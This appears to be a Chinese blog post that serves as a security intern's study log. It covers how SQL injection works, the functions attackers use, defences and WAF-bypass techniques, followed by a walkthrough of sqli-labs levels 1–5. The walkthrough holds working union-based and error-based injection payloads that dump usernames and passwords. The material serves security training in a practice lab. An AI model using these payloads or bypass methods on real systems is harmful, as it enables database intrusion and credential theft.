实习day5

任务一:

  • SQL注入原理

用户输入可控:Web应用程序中的某些输入点(如表单、URL参数等)允许用户输入数据,并且这些数据在后续操作中会被用作SQL查询的一部分。如果这些输入点没有对用户输入进行严格的验证和过滤,那么它们就可能成为SQL注入的入口。

SQL查询拼接:在Web应用程序中,为了根据用户输入动态地查询数据库,开发人员通常会将用户输入的数据直接拼接到SQL查询语句中。这种做法虽然方便,但却存在很大的安全风险。因为攻击者可以通过构造特殊的输入来改变SQL查询的语义,从而实现恶意操作。

数据库执行恶意SQL:当包含恶意SQL代码的查询语句被提交给数据库服务器时,如果数据库服务器没有足够的安全机制来识别和阻止这种攻击,那么它就会执行这些恶意的SQL代码。攻击者可以借此获取数据库的敏感信息、篡改数据或执行其他破坏性操作

  • SQL注入常用函数及含义

SQL注入是一种常见的网络攻击手段,攻击者通过在Web表单输入或页面请求的查询字符串中插入或“注入”恶意的SQL命令,以执行未授权的数据库操作。在SQL注入攻击中,攻击者可能会利用多种SQL函数来增强攻击效果或获取更多信息。以下是一些在SQL注入中可能用到的常用函数及其含义:

CONCAT():用于将两个或多个字符串值连接成一个字符串。在SQL注入中,它常被用来拼接SQL语句的不同部分,以绕过过滤机制或构造复杂的查询。

SUBSTRING() 或 SUBSTR():用于从字符串中提取子字符串。攻击者可以使用这个函数来逐步获取数据库中的敏感信息,如用户名、密码等。

ASCII():返回字符串中第一个字符的ASCII码值。这个函数可以与SUBSTRING()结合使用,以逐字符地获取数据库中的敏感信息。

LENGTH() 或 LEN()(取决于数据库):返回字符串的长度。攻击者可以使用这个函数来确定数据库中存储的敏感信息的长度,从而更精确地构造攻击语句。

CAST() 或 CONVERT():用于数据类型转换。在SQL注入中,这些函数可能被用来绕过某些类型检查或转换数据以符合特定的SQL语句格式。

DATABASE():返回当前数据库的名称。这有助于攻击者了解他们正在攻击哪个数据库。

USER() 或 SYSTEM_USER:返回当前数据库用户的名称。这有助于攻击者了解他们正在以哪个用户身份执行操作。

  • SQL注入防御手段

1. 使用参数化查询:通过将用户输入的数据作为参数传递给SQL查询语句,而不是直接拼接到查询语句中,可以避免SQL注入攻击。参数化查询会确保传入的参数被当作数据而非SQL命令的一部分来处理,从而阻止恶意SQL代码的注入。

2. 输入验证和过滤:这包括检查输入数据的长度、类型、格式以及是否包含特殊字符(如单引号、双引号、分号等)。如果输入数据不符合预期或包含危险字符,应该进行转义处理或拒绝该输入。

3. 最小权限原则:在数据库设计中,应遵循最小权限原则,即只给数据库用户分配执行必要操作所需的最小权限。

4. 使用ORM框架:ORM框架通常会自动处理参数化查询和输入验证等安全措施,从而帮助开发者更容易地防范SQL注入攻击。通过使用ORM框架,开发者可以更加专注于业务逻辑的实现,而无需过多关注底层的数据库操作细节。

5. 定期更新和维护数据库:这些更新和补丁通常包含了修复已知漏洞和增强安全性的内容。此外,定期检查和清理数据库中的无效数据和过期数据也是维护数据库安全的重要步骤之一。

6. 使用Web应用防火墙(WAF):WAF可以检测和拦截包括SQL注入攻击在内的多种类型的网络攻击。

7. 多层验证:。同时,在客户端和服务器端都应该进行验证,以确保多层防护的有效性。

  • SQL注入常用绕过waf的方法

1. 注释符号绕过:攻击者可以使用SQL注释符号(如--、/**/、#)来隐藏恶意SQL代码,使其不会被WAF识别或过滤。例如,在SQL语句中添加注释来忽略掉WAF检测到的关键字或参数。

2. 编码绕过

URL编码:攻击者可以使用URL编码(如%20代表空格,%61代表a等)来绕过WAF对特定字符的过滤。

Unicode编码:利用Unicode字符编码将恶意SQL语句编码成WAF无法识别的形式,而数据库能够正常解析。

Base64编码:虽然Base64编码不直接用于SQL注入绕过,但在某些情况下,可以通过将SQL语句编码为Base64,并在应用程序中解码执行来间接绕过WAF。

3. 大小写变换:由于数据库对SQL关键字的大小写通常不敏感,攻击者可以将关键字的大小写进行变换来绕过基于大小写的WAF过滤器。例如,将SELECT写成SeLeCt。

4. 关键字替换和等价函数:攻击者可以使用SQL的等价函数或命令替换被WAF过滤的关键字。例如,使用CONCAT()替换+来连接字符串,使用SLEEP()或BENCHMARK()替换WAITFOR DELAY等。

5. 特殊字符和符号:使用特殊字符(如+、-、@、~、!、%00等)或特殊符号(如反引号``)来构造恶意的SQL语句,这些字符和符号在SQL语句中有特殊的含义和用法,可能被WAF忽略或错误处理。

6. 逻辑漏洞绕过:利用应用程序或数据库的逻辑漏洞,如盲注技术,通过精心构造的SQL语句来绕过WAF的检测。盲注技术允许攻击者在不直接看到数据库响应的情况下,通过数据库响应的时间、错误消息或其他间接方式推断出数据库信息。

7. HTTP参数污染(HPP):通过提供多个具有相同名称的参数来混淆WAF的检测。由于WAF和后端服务器对HTTP参数的处理方式可能不同,攻击者可以在WAF忽略的参数中注入恶意SQL语句。

8. 缓冲区溢出:虽然这种情况较为罕见,但如果WAF存在缓冲区溢出漏洞,攻击者可以通过发送超长或异常的请求来使WAF崩溃或绕过其检测。

9. 并发请求绕过:通过并发发送大量请求,利用负载均衡器的调度机制使部分请求绕过WAF的检测。这种方法需要较高的网络带宽和计算能力。

10. IP伪造:通过伪造IP地址或利用白名单机制来绕过WAF对特定IP地址的请求拦截。

任务二:sqli-labs通关前5关

一、配置sqli-labs环境

1.下载文件包,将文件夹放在PHP study的www目录下

2.打开文件sqli-labs目录下的sql-connections文件夹,点击修改db-creds.inc,将对应的用户密码改成root和123456

对应的用户名和密码可以在php-数据库中查看

3.启动小皮的apache和mysql服务,并创建对应网站

4.php版本修改 php5.3.29nts并且在网站-管理-php版本-选择php5.3.29nts

5.打开网站

6.点击网站最上方的setup/reset Database for labs建立数据库

7.出现如下数据,说明数据库安装成功,打开第一关开始打靶

二、Sqli-labs靶场实操

第一关

判断是否存在sql注入

输入数值不同,返回的值也不同

判断sql语句是否是拼接,

查看是字符型还是数字型?id=1' --+,可见是字符型且存在sql注入漏洞

?id=-1’ order by 4--+

查看显示位,注入?id=-1' union select 1,2,3 --+

获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+

查看表名

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' -- s

查看字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

上述爆显示位的时候可知两个敏感字段就是username和password,该字段对应的内容。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

第二关

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

加注释还是提示报错,证明是数字型

测试到第 4 列无回显,说明表中一共有 3 列

?id=1 ORDER BY 4--+

判断数据显示点 (id一定要改为0或负数),使用 UNION 进行组合查询

?id=-1 union select 1,2,3--+

查看网站版本,使用database() 函数回显当前使用的数据库

?id=-1 union select 1,database(),version()--+

查看表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查看user表单

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

提取表单中的user,id和password
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

第三关

输入?id=1’,产生报错信息,猜测sql语句是单引号字符型,并且可能含有括号,故考虑闭合单引号的同时还要兼顾括号

所以注入?Id=1’)--+,查看结果

查看版本

?id=-1') union select 1,database(),version()--+

查看表名

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查看user表的内容

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查看username,id,和password
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

第四关

?id=1')

?id=1”,sql报错

所以可以判断sql语句是双引号字符型且有括号

查看列数,?id=1") order by 3 --+

?id=1") order by 4 --+

获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+

?id=-1") union select 1,2,database() --+

查看显示位

?id=-1") union select 1,2,3 --+

查看数据库内的所有表

查看user表的所有列

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

查看user表的数据

第五关

发现第五关没有回显,尝试闭合后发现为单引号闭合,然后测试他的order by 数

?id=1") order by 4 --+

进行联合查询

?id=-1’ union select 1,2,3--+

报错查询?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

查询表名

?Id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

?id=1'and length((select database()))>9--+

查看数据库内的所有表

?id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+

查看security的内容

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+

查看users表的所有列名

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))--+

获取用户名和密码

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))--+

任务三:总结SQLi的手工注入的步骤

1. 判断有无注入点:通过向应用程序的输入点(如URL、表单字段等)输入特殊字符(如单引号'、双引号"、注释符--或#等),观察应用程序的响应来判断是否存在SQL注入漏洞。

2. 判断注入类型

字符型注入:如果输入点接受字符串数据,并且当输入特殊字符时应用程序报错,则可能是字符型注入。

数字型注入:如果输入点接受数字数据,并且可以通过修改数字值(如使用and 1=1和and 1=2)来影响查询结果,则可能是数字型注入。

3. 猜解列名数量:使用ORDER BY语句来猜测数据库表中列的数量。逐渐增加ORDER BY后的数字,直到应用程序返回错误消息,前一个数字即为列的数量。

4. 判断数据回显位置:使用UNION SELECT语句将自定义的查询结果与原查询结果合并,通过观察应用程序的响应来确定数据回显的位置。

5. 信息收集

数据库版本:使用SELECT @@version或SELECT version()来获取数据库的版本信息。

数据库名:使用SELECT database()来获取当前数据库的名称。

表名和列名:通过查询information_schema数据库中的tables和columns表来获取数据库中的表名和列名。

6. 提取数据:在确定了数据回显位置和收集到足够的信息后,使用UNION SELECT语句结合GROUP_CONCAT等函数来提取目标数据(如用户账号和密码)。

7. 绕过安全措施

在某些情况下,应用程序可能会采用一些安全措施来防止SQL注入,如使用参数化查询、输入验证等。攻击者需要尝试绕过这些安全措施,例如通过编码特殊字符、使用注释符、利用数据库的错误消息等方式。

任务四:使用sqlmap通过或验证第六关

  • 19
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值